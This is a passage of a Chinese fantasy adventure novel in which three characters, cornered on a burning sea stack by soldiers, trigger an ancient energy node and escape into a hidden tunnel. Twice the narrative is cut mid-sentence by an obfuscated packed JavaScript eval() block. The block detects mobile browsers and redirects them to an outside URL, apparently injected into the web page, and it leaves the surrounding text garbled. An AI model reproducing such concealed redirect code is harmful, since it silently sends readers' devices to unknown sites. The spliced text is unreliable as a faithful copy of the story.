她望向漆黑的海面,远处港口方向的火光似乎比刚才更明亮杂乱了些,“如果我们无法修复,或许封印是唯一避免岛屿毁灭的办法。但封印之后呢?那些依赖古老地脉微妙平衡的东西——特殊的泉水、某些植被、甚至……岛屿自身的地质稳定——会怎样?” “看来,我们克里同鲁莽的试探,倒是提前把我们推到了必须做出选择的路口。”利诺斯站起身来,拍了拍手上的灰,语气恢复了那种令人恼火的轻松,“不过,在那之前,我们得先解决眼前的小麻烦。” 他示意对面正在尝试用绳索和钩爪搭建简易索桥的士兵,“以及,弄清楚‘循此脉’的具体路径。光有地图可不够,我们得知道‘脉’在哪里,怎么‘循’。” 对面,克里同的士兵在军官的斥骂下,正试图将带铁钩的绳索抛向石峰,但海风猛烈,几次都失败了。不过他们显然不打算放弃,更多的人正在从竖井方向赶来,还带来了更多的绳索和工具。时间不多了。 “石板不能留给他们。”阿尔克提斯决断道,试图用匕首去撬动那块石板,但它嵌入山岩极深,纹丝不动。 “来不及了。”利诺斯观察着对面,“而且,毁掉它,我们就失去了唯一的路线图。” 他目光扫视着石峰顶部,“既然这里是‘七眼’之一,是地图标注点,那么这里除了这块石板,应该还有别的什么。启动‘循脉’的线索,或许就在这个‘眼’本身。” 他的话提醒了阿尔克提斯和余茶。三人开始在有限的空间里仔细搜寻。石峰顶除了矮墙遗迹和中央石板,似乎空空如也。余茶的脚疼得厉害,她靠坐在矮墙边,目光无意识地扫过石板上那代表此处的“眼睛”符号,又抬头望向夜空。 云层不知何时散开了一些,露出了稀疏的星辰。这里的视野极好,能清晰看到狗尾巴星和附近几颗亮星的方位。忽然,她注意到,石板上刻着的这个“眼睛”符号,其螺旋的指向,似乎……并非随意。 “光!需要光!”她脱口而出,“不能太幽暗,至少得是集中的星月之光,或者明亮的阳光!” 她想起在“爱科谷”,那些符号在无直接光源的洞穴里自行发光,但那是能量脉络。这里的符号是普通石刻,可能需要外部光源触发。 阿尔克提斯和利诺斯立刻明白了她的意思。可现在是深夜,月光黯淡,星光微弱。而且,符号的朝向…… “是角度!”阿尔克提斯扑到石板旁,用手指测量着螺旋的朝向,然后抬头对照星空,“这个螺旋的开口方向,指向的是……冬季日出的大致方位!” “日出……”利诺斯眯起眼,“也就是说,这个‘眼’要在特定的光照角度下,才能显现真正的线索?比如,日出第一缕阳光照在符号上时?” “很可能!”阿尔克提斯的心沉了下去。现在离日出至少还有两三个小时。他们等不到那个时候。对面的士兵随时可能搭好索桥,或者用火箭覆盖这里。 绝望的气息再次弥漫。余茶感到一阵冰冷的疲惫席卷全身。算计、挣扎、解读……到最后,还是被最简单的时间困死。她看着对面忙碌的士兵,第一次如此清晰地感到,自己那些关于房子、存款、珠宝的安全感构建,在暴力与时间的绝对力量面前,多么可笑而脆弱。 就在此时,对面主崖上传来一阵新的骚动。火把的光亮变得更加集中,一个披着斗篷的瘦高身影在士兵的簇拥下走到了崖边——是克里同的书记官。他手里似乎拿着什么,正在向石峰这边张望。 “大祭司阿尔克提斯!”书记官的声音借着海风传来,带着官腔特有的平板和一丝得意,“克里同有令!交出你们在下面找到的所有古物和文献,束手就擒,或许还可从轻发落,负隅顽抗,只有死路一条!这石峰就是你们的坟墓!” 阿尔克提斯没有回答,只是握紧了手中的长棍。 书记官似乎也不指望她回答,他示意了一下,身旁一名士兵举起了一副复合弓,对准了石峰。箭头上绑着浸油的布条,正在被点燃。 他们要放火箭! “找掩体!”阿尔克提斯低吼,三人迅速躲到最厚的矮墙残骸后面。 第一支火箭带着呼啸飞来,钉在了他们刚才站立位置附近的岩石上,火焰在石头上燃烧了一会儿,因无处附着而渐渐熄灭。但紧接着,第二支、第三支火箭接连射来!有些钉在矮墙上,引燃了干枯的苔藓和少量灌木,虽然火势不大,但浓烟开始弥漫。 石峰顶部本就不大,烟雾和零星火焰极大地压缩了他们的活动空间。更糟糕的是,对面的索桥搭建似乎取得了进展,一条较为结实的绳索已经固定好,一名身手敏捷的士兵正试图攀着绳索向石峰这边移动。 “不能让他们过来!”利诺斯眼神一冷,从地上捡起一块拳头大的石头,掂了掂,对准那正在绳索上晃荡的士兵,猛地掷出! 石头划破夜空,“砰”地一声,重重砸在那士兵的肩头。士兵惨叫一声,手一松,直接坠入了下方黑暗的深渊,凄厉的叫声被海浪声吞没。 这一下震慑了对岸,攀爬暂时停止。但书记官的怒吼随即传来:“放箭!射死他们!” 更多的箭矢和火箭如同飞蝗般袭来,压得三人几乎抬不起头。矮墙上的火焰渐渐连成一小片,热浪和浓烟呛得人窒息。余茶被烟熏得眼泪直流,咳嗽不止,脚踝的疼痛和缺氧让她眼前阵阵发黑。 要死在这里了吗?这个念头无比清晰地浮现。她不甘心。不是不甘心没解开谜题,而是不甘心死得如此……无谓。死在一场她根本不想卷入的、别人的权力和信仰之争里,死在这个连名字都可能留不下的荒僻石峰上。 阿尔克提斯伏低身体,紧贴着地面相对清凉的岩石,眼神在火光和烟雾中闪烁,似乎在急速思考。她忽然看向余茶:“石板!石板附近的地面,有没有异常?震动、温度?” 余茶一愣,强忍着咳嗽和眩晕,回忆刚才靠近石板的感觉。当时注意力全在符号上,但现在仔细回想……“好像……石板周围的石头,比别处稍微温暖一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226086|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点?不明显,但我摔倒时手撑过那里……” 当时她还以为是自己的错觉或是身体摩擦产生的热量。 “地热!”阿尔克提斯眼中爆发出光芒,“这个节点还在微弱地‘呼吸’,即使失准,它也是能量节点之一!‘七眼皆暗’,但‘眼’本身还在,‘循此脉’……或许不一定需要光照触发,如果……如果能短暂地‘激活’这个节点,哪怕只是一瞬间,它可能会指示出‘脉’的方向。” “怎么激活?”利诺斯一边躲开一支射在矮墙上、火星四溅的箭,一边急促地问,“用那块黑色薄片?还是石板本身?” 阿尔克提斯迅速从怀中掏出那枚从利诺斯处得到的黑色椭圆薄片,又看了看石板中央的“眼睛”符号。她发现,那符号中心螺旋的点,似乎有一个极其细微的、几乎看不见的凹陷。 “试试看!”她将薄片按向那个凹陷。 大小并不完全吻合,薄片只是覆盖在凹陷上,没有任何反应。箭矢还在飞来,烟雾更浓了。 “不对……不是这样……”阿尔克提斯额头冒汗,收回薄片。 余茶看着那薄片,又看看石板上的“眼睛”,脑中电光石火般闪过一个念头。“不是覆盖……是投射!”她声音嘶哑地喊道,“那薄片是钥匙碎片,它本身可能不完整,但它上面的纹路……在光下会不会在石板上投出完整的图案或指向?” 需要光,还是需要光!但此刻,除了敌人的火箭和微弱的星光月光,哪里有可控的、能用于精细投射的光源? 利诺斯突然骂了一句什么,猛地脱下自己那件沾满灰尘的深色羊毛斗篷。“火!用火!”他喊道,“把斗篷点着,举高!虽然不稳定,但足够亮。一瞬间就够了!” 这是极其冒险的举动。举着火把般的斗篷,无疑会成为最显眼的靶子。但此刻没有别的选择。 阿尔克提斯瞬间明白了他的意图,她没有犹豫,用还在燃烧的矮墙上一处火苗点燃了利诺斯递来的斗篷。羊毛燃烧起来,发出噼啪声和焦臭,腾起明亮的火焰。 “掩护我!”利诺斯对阿尔克提斯喊了一声,然后猛地从矮墙后跃起,将燃烧的斗篷高高举过头顶,尽量远离自己的身体,同时迅速蹲到石板旁,将黑色薄片举在火焰与石板之间,调整角度,让火焰的光芒透过薄片投射到石板的“眼睛”符号上! “嗖!嗖!”几支箭矢立刻向他射来!阿尔克提斯怒吼一声,挥动长棍打飞一支,另一支擦着利诺斯的小腿飞过,带出一溜血花。利诺斯闷哼一声,手却稳如磐石,继续调整薄片的角度。 跳跃的火焰透过那奇异的黑色薄片,在古老的石板上投下了一片模糊晃动的、放大的光影。光影边缘,那些薄片上原本细微难辨的螺旋纹路被清晰地投射放大,与石板原有的“眼睛”符号部分重叠、延伸! 就在光影图案达到某种契合的瞬间—— 石板上那七个刻点,其中代表他们所在石峰的这一个点,微微亮了一下!不是火焰的反光,而是一种从石头内部透出的、极其短暂微弱的暗红色光芒,如同沉睡的灰烬被吹了一口气,闪现一星余烬! 与此同时,一股微弱但清晰的热流,仿佛有生命的脉搏,从石板下的岩石中传来,沿着一个特定的方向——指向岛屿内陆的某个方位——震颤了一下,旋即消失。 “看到了吗?!”利诺斯大喊,立刻丢开燃烧殆尽的斗篷残骸,扑倒在地,躲开又一轮箭矢。 “看到了方向!”阿尔克提斯的心脏狂跳,她死死记住了那股热流震颤指向的方位——不是直线指向下一个点,南湾或宫殿主厅,而是一个折向,指向岛屿中部偏南的某处山林。那就是“脉”的路径之一! 然而,没等他们仔细判断,对面士兵的欢呼声传来——第二条更结实的绳索已经固定好,一块简陋的木板正在被推上绳索,简易索桥即将搭成,书记官脸上露出了胜利在望的狞笑。 火焰在石峰上蔓延得更开了,他们可躲避的空间越来越小。脚下是深渊,身后是火海,对面是即将冲过来的敌人。 真正的绝境,就在此刻。 16. 别无选择 燃烧的斗篷残骸在岩石上化作一团蜷缩的黑灰,最后几点火星在猛烈的海风中明灭挣扎,然后彻底熄灭。石峰顶部几乎一半的区域都在冒烟,焦糊味混合着海腥气,呛得人肺叶生疼。简易索桥的木板在两根绳索上摇晃,对面,一名克里同的精锐护卫正手持短剑,小心翼翼地踩上木板,向石峰挪动。他身后,还有两名士兵跃跃欲试。 箭矢暂时停了,但复合弓依然闪着寒光对准这边。书记官站在崖边,胜券在握的冷笑凝固在脸上,像一张拙劣的面具。时间被压缩成绳索上每一步令人牙酸的摩擦声,和木板不堪重负的呻吟。 阿尔克提斯肩头的擦伤火辣辣地疼,浓烟让她视野模糊。她死死攥着长棍,目光却越过逼近的索桥,投向下方黑暗咆哮的大海,又迅速回望了一眼石板上那已恢复冰冷的“眼睛”符号。方向……刚刚那悸动指向的方位…… 生的路径与死的威胁在脑中激烈碰撞,却寻不到一个能连接两者的支点。硬拼?三人带伤,对方源源不断。跳海?下面是嶙峋礁石和狂暴海浪,十死无生。 利诺斯单膝跪地,按住小腿上被箭矢划开的伤口,鲜血从指缝渗出,染红了破旧的衣角。他脸上惯有的那种轻浮笑意消失了,取而代之的是一种极度专注的、近乎冷酷的平静。他扫视着石峰边缘、燃烧的矮墙、对面崖壁的岩石纹理、下方海浪拍击的规律,淡琥珀色的眼睛像高速运转的星盘,计算着概率与代价。享乐主义者的基础是生存,当生存受到绝对威胁时,他们往往能爆发出最原始也最有效率的狡诈。 余茶蜷缩在相对最完整的矮墙根部,脚踝的疼痛、浓烟的窒息、逼近的死亡,像三重绞索勒紧了她的神经。但极致的恐惧仿佛烧尽了所有冗余的情绪,一种奇异的、冰冷的空白占据了她的意识。她看着对面士兵谨慎却坚定的步伐,看着阿尔克提斯僵直的背影,看着利诺斯腿上刺目的鲜红,脑海里却盘旋着一些无关紧要的细节:石板上“眼睛”符号螺旋的旋转方向是逆时针;刚刚那一下暗红微光,与“爱科谷”黑潭石窟里能量脉络的光色略有不同,更暗沉,更像……冷却的熔岩;还有,这石峰的岩石质地,与她逃出地牢时经过的海蚀洞岩石,似乎有点相似,都多孔而相对酥脆…… “不能让他们站稳。”利诺斯的声音突兀地响起,不高,却斩钉截铁。他没用敬语,也没看阿尔克提斯,像是在陈述一个客观事实。“木板承重有限,一次最多两人,而且不稳。第一个人是试探,是关键。” “你想怎么做?”阿尔克提斯嘶哑地问,没有回头。 “石头。”利诺斯言简意赅,目光落在脚下散落的、被刚才震动和箭矢崩落的石块上。“瞄准木板和绳索的连接处,或者……直接砸第一个人的支撑手。”他顿了顿,“但需要他走到中间,我们只有一次机会,必须让他掉下去。” 这计划冷酷而直接。阿尔克提斯瞬间明了。这不仅是击退一次进攻,更是要向对岸展示强渡的死亡代价,打击士气,争取时间。她点了点头:“我左边,你右边。” 就在这时,余茶忽然开口,声音因烟熏而干裂,却异常清晰:“……石头砸绳子,不如烧。” 阿尔克提斯和利诺斯同时看向她。 余茶没有看他们,目光落在矮墙上几处仍在阴燃的、带着暗红火炭的焦黑苔藓团上。“用湿布包住石头,外面裹上这些火炭,扔过去。”她语速很快,思路在冰冷的分析中畅通,“目标是绳索,尤其是下面承重的那根。油脂浸泡过的绳索,火炭沾上,未必立刻断,但会烧,会让上面的人慌乱。如果运气好,烧断一根,或者让那护卫自己失去平衡……” 利诺斯眼睛一亮:“干扰比直接命中容易。而且火……在夜里更能制造恐慌。”他立刻撕下自己里衣相对干净的下摆,余茶则忍痛挪过去,用一块碎石小心翼翼地将几团阴燃的、滚烫的苔藓火炭拨弄到破布上。阿尔克提斯从水囊里倒出仅剩的一点水,将布浸湿一角便于手持,同时确保火炭不会立刻熄灭。 动作飞快,沉默而协调。求生的本能暂时压过了一切猜忌与隔阂。 此时,那护卫已走到索桥正中,木板在他脚下发出危险的吱呀声。他重心放得很低,一手扶着上方绳索,一手持剑,眼睛紧盯着石峰上的三人。 “就是现在!”阿尔克提斯低喝。 她和利诺斯几乎同时从矮墙后暴起!阿尔克提斯奋力将一块裹着阴燃火炭的石头掷向索桥下方承重的绳索,利诺斯则瞄准了那护卫扶绳的左手前方。 石块划着弧线飞去。护卫大惊,下意识挥剑去格挡飞向自己的石头,“当”一声火星四溅,石头偏开。但阿尔克提斯掷出的那块,擦着下方绳索飞过,包裹的破布散开,几块暗红的火炭正正地粘在了浸透油脂的粗麻绳上。 嗤——!一股青烟冒起,紧接着,暗红的炭火点迅速在油脂的助燃下扩大,变成明火,沿着绳索向上蔓延。 “着火了!绳子着了!”对岸传来惊恐的喊叫。 桥上的护卫更是魂飞魄散,他左手扶着的绳子虽然没被直接击中,但下方绳索燃烧带来的晃动和灼热感让他瞬间失衡。他惊恐地试图快步冲过最后一段,但燃烧的绳索强度骤减,整个索桥猛地向下一沉,剧烈摇晃! “啊——!”护卫惨叫着,再也无法保持平衡,手一松,连同那块木板一起,坠入下方黑暗的深渊,只有短暂的凄厉回音传来。 燃烧的绳索断了一根,另一根也被火焰吞噬了大半,摇摇欲坠的索桥彻底报废。对岸一片混乱,士兵们慌忙试图用沙土扑打崖边也被溅上火苗的杂物,书记官气急败坏的吼声被海风吹散。 石峰上,三人重新缩回掩体,剧烈喘息。短暂的胜利带来一丝喘息,但危机远未解除。对岸有足够的材料和人力搭建新的、更稳固的索桥,或者,他们可以干脆用火箭覆盖射击,将他们困死、烧死、射杀在这弹丸之地。 “争取不了多少时间。”利诺斯按压着腿上的伤口,脸色在火光映照下有些苍白,“他们下次会用更厚的木板,更多的人同时加固绳索。或者,直接用投石机把点燃的沥青罐丢过来。” 阿尔克提斯当然知道。她看着手中空空的水囊,又望了望蔓延的火焰和越来越呛人的浓烟。留给他们的空间和时间都在飞速流逝。 余茶靠在滚烫的矮墙上,刚才激烈的动作让脚踝的伤处传来撕裂般的痛楚,但她的大脑却因为那一下“成功干扰”而异常活跃。硬抗是死路,跳海是死路。那么,还有没有……第三条路?不是常规的路。 她的目光再次落回那石板,落回那“眼睛”符号,落回脚下多孔的、微温的岩石。一个疯狂、荒谬、却又隐隐与她之前某些模糊观察呼应的念头,如同黑暗海面上跃起的磷光,闪现在她脑海。 “地脉……节点……”她喃喃自语,声音低得几乎被风声淹没。 “什么?”阿尔克提斯敏锐地捕捉到。 余茶抬起头,脸上沾满烟灰,眼神却亮得惊人,那是一种赌徒押上全部身家时的孤注一掷,也是一个极度缺乏安全感的人被逼到墙角后、反而抛开一切顾虑的冷静疯狂。 “这石峰,是‘七眼’之一,是能量节点,对吧?”她语速加快,“即使失准,它也在微弱‘呼吸’,有地热。刚才薄片触发,它给出了‘脉’的指向。那么……它本身,除了是个地图标记,有没有可能……也是一个‘通道’?或者,一个‘弱点’?” “通道?弱点?”利诺斯皱眉。 “你们记得海蚀洞的出口吗?涨潮时会被淹没一半。”余茶的思路越来越清晰,一种基于地质观察的推测盖过了恐惧,“这种多孔、有地热、位于能量节点上的岩石,在受到剧烈冲击……或者内部能量被不恰当地扰动时,会不会……比普通岩石更脆弱?甚至,可能有……天然的空腔或裂隙,通往山体内部?” 她想起了“爱科谷”那个需要“钥匙”的金属门,想起了宫殿废墟下的引水道。古老的米诺斯人善于利用和改造自然地形。一个位于关键节点的石峰,会不会也被他们利用过?比如,作为紧急逃生通道?或者,观测点的下方,另有乾坤? 阿尔克提斯瞳孔骤缩!她家族残缺的记忆碎片中,似乎有过类似隐晦的提及——关于某些节点在极端情况下可作为“最后的路径”,但条件苛刻,危险异常。她从未将之与这个悬崖石峰联系起来。 “你是说……让岩石自己裂开?或者,找到内部通道?”利诺斯立刻明白了余茶的疯狂想法,“我们没法像赫菲斯托斯的巨人匠人那样砸开山壁,也不知道通道在哪里。” “不需要巨人。”余茶的目光投向石峰边缘,那些被火焰灼烧、又因刚才投石和震动而变得酥松的岩石,“也许……只需要一个足够大的‘扰动’。” 她看向阿尔克提斯,“你之前说,能短暂‘激活’节点。如果……不是用薄片,而是用更激烈的方式呢?比如,把残余的地脉能量,引导向石峰最脆弱的部位?就像给一个即将爆裂的管道,再施加一点压力?” 这个想法大胆到近乎自杀。引导失准的地脉能量,犹如引火焚身,稍有不慎,可能不是开出一条路,而是直接将石峰乃至整个崖壁震塌,让他们葬身海底。 阿尔克提斯脸色变幻不定。她看向对面,新的、更粗的绳索已经被搬来,工匠模样的士兵正在军官指挥下忙碌。时间,真的不多了。 她又看向余茶。预言的时间已到,适合时机之人纷纷出现,这个异乡来的想要找到回家之路的孱弱女子,此刻眼中燃烧着一种近乎冷酷的理性光芒。她没有信仰支撑,没有传统束缚,她的提议纯粹基于观察、推测和绝境下的生存计算。这或许,是唯一超出克里同预料的变数。 “怎么引导?”阿尔克提斯沉声问,等于默认了这个疯狂的方案。 “我不知道具体方法。”余茶老实回答,“但节点能被触发,说明它与地脉有联系。那个符号,”她指着石板,“是接口,或者阀门。黑色薄片是部分钥匙。我们也许……可以尝试用薄片作为导体,用我们自己的身体或者别的什么东西作为……回路的一部分,故意制造一个微小的、定向的能量泄露,冲击石峰边缘某个特定点?” 她说得不确定,这完全超出了她的知识范畴,更像是根据已有线索进行的科幻式推演。 利诺斯忽然笑了一声,那笑声在海风呼啸和对面隐约的嘈杂中,显得有些怪异。“用身体做回路?听起来比掉进海里摔死有趣一点点。”他舔了舔干裂的嘴唇,“大祭司,您家族的古老智慧里,有没有关于‘献祭一小部分,换取通路’的记载?不是宰羊那种。” 献祭。这个词让阿尔克提斯身体一僵。古老的仪式中,确实有以自身血液或生命力为引,沟通狂暴自然力量的禁忌法门,被视为最后的、代价惨重的手段。她从未想过自己有一天会主动考虑使用。 她看着手中那枚黑色薄片,又看看石板上冰冷的刻痕,再看看脚下这片被火焰和追兵围困的绝地。信仰要求她守护岛屿和传承,权势欲望驱使她探寻真相和力量,而现在,生存的本能压过了一切。 “……有。”她终于从牙缝里挤出一个字,声音干涩,“但需要精确的符号对应,需要引导物,还需要……强烈的意念和代价。成功率……无法保证。失败,我们可能瞬间被抽干,或者引发不可控的崩塌。” “比等在这里被射成串或烧成炭的概率高就行。”利诺斯无所谓地耸耸肩,尽管牵动了伤口让他嘴角抽搐了一下。 余茶没说话,只是看着阿尔克提斯。她的眼神里没有鼓励,也没有恐惧,只有一种“这是你专业领域,你评估,你决定”的平静。她把赌注押在了阿尔克提斯的专业能力和求生欲上,就像押注一个高风险高回报的项目。 阿尔克提斯闭了闭眼,再睁开时,所有犹豫都已沉淀为决绝的礁石。“我需要你们配合。利诺斯,你拿着薄片,站在符号‘眼睛’的螺旋起始点。余茶,你站到螺旋末端。无论发生什么,脚不能离开你们的位置。我会站在中心点,尝试建立连接和引导。过程可能会……很不舒服。如果看到我手势,或者感觉不对,立刻松开薄片,向石峰中心趴倒,明白吗?” 利诺斯和余茶点头。 没有时间再做更多准备或演练。阿尔克提斯迅速用烧焦的木炭在石板周围画出几个简单的辅助符号,然后让利诺斯和余茶就位。她自己则跪坐在石板中心“眼睛”的瞳孔位置,双手握住那根包铜长棍,将棍底紧紧抵在瞳孔中心那个细微的凹陷处。 她深吸一口气,闭上眼,开始用一种极其古老、音节拗口的语言低声吟唱,不是希腊语,甚至不是线形文字B的发音,更像是更早的、来自大地深处的喉音与气声。随着吟唱,她的身体微微颤抖,额角渗出大颗汗珠。 利诺斯将黑色薄片贴在螺旋起始点的刻痕上,余茶则将自己的手按在螺旋末端。起初,什么感觉都没有。只有海风、对面隐约的敲打声、和越来越近的危机感。 但渐渐地,余茶感到掌心下的石头,温度在升高。不是火焰烘烤的那种热,而是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股远比之前任何一次都更强烈的震动从石峰底部传来。整个峰顶猛烈摇晃,边缘几块本就松动的岩石直接崩落,坠入大海!暗红的光芒骤然变得明亮、狂暴,不再是沿着刻痕流淌,而是以石板为中心猛地爆开一圈暗红色的光晕,如同一个短暂的血色涟漪! 余茶、利诺斯、阿尔克提斯三人同时感到一股巨大的、灼热的冲击力从脚下传来,仿佛被无形的巨锤砸中胸口,喉头一甜,几乎要吐血。利诺斯手中的黑色薄片脱手飞出,当啷一声落在不远处。 然而,这狂暴的冲击似乎有着模糊的指向性。大部分能量顺着阿尔克提斯长棍引导的意念,冲击石峰外侧最脆弱的连接部,伴随着一声沉闷如巨兽咆哮的巨响,集中在石峰与主崖相连的那道狭窄石梁的根部,猛地释放! 咔嚓!咔嚓嚓—— 令人牙酸的岩石断裂声密集响起!在三人惊骇的目光中,那道本就狭窄的石梁,从靠近石峰的这一端根部,崩开了数道巨大的、深不见底的裂缝。巨大的石块剥落,整个石梁结构发出不堪重负的呻吟,开始缓缓向下倾斜、错位。 “石梁要断了!”利诺斯嘶声喊道。 对岸的士兵们也被这突如其来的剧烈地动和岩石崩裂的景象惊呆了,惊呼着向后退去,搭建索桥的工作完全停滞。 但这并不是生路。石梁断裂,意味着他们与主崖唯一的连接将彻底消失,他们将真正成为被困死在海中的孤岛! 然而,就在石梁根部彻底崩裂、烟尘弥漫的瞬间,借着那尚未完全消散的暗红光芒和崩塌溅起的尘土,眼尖的余茶似乎看到——在石梁断裂、石峰与主崖分离的断面处,靠近石峰这一侧的岩壁上,崩塌的碎石后面,隐约露出了一个黑黝黝的、不规则的洞口!那洞口不大,被崩塌的岩石掩埋了一半,但显然是人工开凿后又用薄岩层巧妙伪装的痕迹! “洞口,下面有洞!”她用尽力气大喊,指向那个方向。 阿尔克提斯和利诺斯顺着她所指看去,烟尘中,那个幽深的洞口如同绝望深渊中睁开的一只眼睛。 石梁在继续崩塌、下沉,与主崖的缝隙越来越大,海水被掉落的巨石搅拌地疯狂涌动,发出雷鸣般的轰响。留给他们的时间,可能只有几十秒。要么冒险跳向那个随时可能被落石彻底掩埋或随着岩壁继续崩塌的洞口,要么留在即将彻底孤立的石峰上等死。 没有选择。 “跳过去,抓住洞口边缘!”阿尔克提斯咳着血,嘶哑地命令,她自己率先踉跄着冲向石峰边缘,看准那洞口上方一块突出的岩石,纵身一跃! 利诺斯紧随其后,他甚至顾不上腿伤,爆发出惊人的力量,跃起时像一头负伤的豹子。 余茶是最后一个。左脚踝的剧痛让她几乎无法发力。她看着下面翻滚的海水和不断塌落的巨石,看着那个越来越远的、黑漆漆的洞口,死亡的恐惧攫住了她。但留下,同样是死。 跳,可能死。不跳,一定死。 她后退两步,用尽全身力气,助跑,起跳——疼痛让她动作变形,跃起的高度和距离都不够,眼看着就要坠向下方的乱石海潮! 千钧一发之际,一只沾满血污和灰尘的手,猛地从洞口伸出来,死死抓住了她挥动的手臂!是利诺斯!他半个身子探出洞口,脸色因用力而狰狞,手臂肌肉贲起。 “抓住!”他低吼。 几乎同时,另一只手——阿尔克提斯的手——也抓住了她的衣襟。两人合力,硬生生将余茶拖进了那个黑暗、狭窄、充满尘土的洞口。 就在他们三人滚入洞内的刹那,身后传来惊天动地的轰鸣!石梁彻底断裂,巨大的石块裹挟着烟尘坠入大海,激起滔天巨浪。石峰与主崖,彻底分离。 洞口被震落的碎石部分掩埋,光线几乎完全消失,只有几缕尘土在从缝隙透入的微光中飞舞。三人粗重、痛苦的喘息和咳嗽声在黑暗中传递。 他们暂时活了下来,掉进了一个未知的、可能同样危险的岩石深处。 余茶瘫在冰冷的岩石地上,浑身每一寸骨头都在叫嚣,脚踝的伤处痛得让她想尖叫,但劫后余生的虚脱让她没有半分力气,包括尖叫。黑暗中,她摸索着,手指碰到身边同样剧烈喘息的阿尔克提斯,又碰到另一边利诺斯冰凉、沾血的手。 没有安全,依然没有。但这个黑暗的、未知的洞,至少暂时隔绝了身后的追兵和死亡的火焰。 她听着洞外海浪轰鸣和岩石持续崩落的闷响,在绝对的黑暗与寂静降临前,最后想到的是:这代价高昂的“通道”,究竟通向何方?而“七眼皆暗”之后的“循此脉”,又该怎么走? 17. 脉之回廊 黑暗并非完全静止。 在最初那阵几乎震碎耳膜的轰鸣和身体撞击岩石的钝痛过去后,感官从极度的惊吓中缓慢复苏。首先恢复的是听觉:洞外海浪持续不断的咆哮,被厚厚的岩壁过滤成一种沉闷的、永不停歇的背景低音;碎石偶尔滑落的簌簌声;以及,近在咫尺的、三个活人无法抑制的、粗重而痛苦的喘息与咳嗽。灰尘悬浮在几乎凝滞的空气里,每一次呼吸都带着颗粒摩擦喉管的粗糙感。 接着是触觉:身下是冰冷、潮湿且凹凸不平的岩石地面;空气比石峰顶上更加阴冷刺骨,带着深入骨髓的潮气和一种……类似铁锈或硫磺的、极淡的金属腥气。余茶的脚踝传来一阵阵尖锐的抽痛,提醒着她伤势的存在。她摸索着坐起,背部抵住洞壁,粗糙的岩面硌着骨头。 最后,视觉开始艰难地适应。并非完全漆黑。从洞口方向——虽然被崩塌的碎石堵塞了大半——依然有极其微弱的、灰蓝色的天光渗入,不足以照亮任何东西,但让绝对的黑暗褪色成一种朦胧的、几乎无法辨形影的深灰。眼睛像蒙着厚纱,只能勉强感知近处物体的轮廓。 “都还……活着?”阿尔克提斯的声音率先打破死寂,嘶哑得厉害,伴随着压抑的咳嗽。 “暂时。”利诺斯的声音从几步外传来,听起来他正尝试移动,随即发出一声短促的抽气,大概是牵动了腿伤。“腿没事,死不了。就是这地方……比诗人的酒馆地窖还黑。” 余茶没说话,她在默默活动手脚,检查除了脚踝之外还有没有其他严重的伤。手掌和手肘多处擦伤,火辣辣的疼,但骨头似乎无恙。她撕下已经破烂不堪的希顿下摆,摸索着给自己的脚踝重新做了个更紧的包扎,冰冷的布条缠上去时,她疼得额头冒出冷汗,但动作没停。疼痛需要管理,伤势需要控制,这是维持行动力的基础。 “下次得穿个长希顿,要不都不够撕的。”余茶对自己说。 “火……还有火吗?”利诺斯问。 阿尔克提斯摸索了一阵,防风灯在跳崖时遗落了。“灯丢了。火石应该还在身上。”她悉悉索索地翻找。 “等等。”余茶忽然低声制止。她的眼睛稍微适应了黑暗,正努力辨识着周围环境。“先别点火。看看……那里。” 她指向洞穴深处。在眼睛习惯了这片深灰之后,她隐约察觉到,在远离洞口光线的洞穴更深处,并非均匀的黑暗。有一些极其微弱的、非连续的光点或光斑,稀疏地分布在视线尽头,颜色是一种黯淡的、介于黄绿之间的冷光,非常微弱,像夏夜最遥远的萤火,时隐时现。 “那是……”阿尔克提斯停止了动作,凝神望去。 “磷光?某种会发光的苔藓或矿物?”利诺斯猜测,声音里带着警惕,“也可能是……别的东西。” “过去看看。”阿尔克提斯下了决定,扶着岩壁慢慢站起来,动作有些踉跄。“待在这里和死没区别。如果有光,哪怕是微光,也可能意味着有出路,或者……别的什么。” 三人互相搀扶着,或者更准确地说,是彼此倚靠着,在绝对光滑和绝对崎岖之间摸索着,向那微弱的光点方向挪动。脚下湿滑,岩壁粗糙,不时需要弯腰或侧身通过狭窄处。洞穴显然不是天然的规整通道,更像是沿着岩石的脆弱面或旧裂缝拓展、开凿而成,走势忽高忽低,时而宽阔得能容数人并行,时而又狭窄得需要挤过去。空气始终冰冷潮湿,但那淡淡的硫磺铁锈味,似乎随着深入而略微明显了一点点。 那些微弱的光点逐渐清晰。确实是某种附着在岩壁上的发光矿物,形成一片片不规则的薄层或斑点。光很弱,不足以照亮道路,但能勉强勾勒出近处岩壁的轮廓和脚下较为突兀的障碍。借着这微光,他们发现岩壁上开始出现人工痕迹——并非精细的雕刻,而是粗糙的凿痕,有些地方似乎曾被有意拓宽,地面也显得相对平整了些。 “有人来过这里。”阿尔克提斯的手指抚过一道明显的工具凿痕,语气肯定,“不是最近。工具痕迹古拙,和宫殿废墟下引水道的开凿方式很像。” “米诺斯人的逃生密道?还是……另一条‘脉’?”利诺斯沉吟。 余茶没参与讨论,她的注意力被另一样东西吸引了。在路过一片较大的发光矿物区时,她借着那稍亮一点的微光,看到旁边较为光滑的岩壁上,似乎有一些划痕。她凑近细看。 不是装饰图案,更像是……计数或标记。用尖锐石器划出的一道道短竖线,分成几组,旁边还有一个简单的符号——一个圆圈,里面点了一点。 “看这个。”她叫住另外两人。 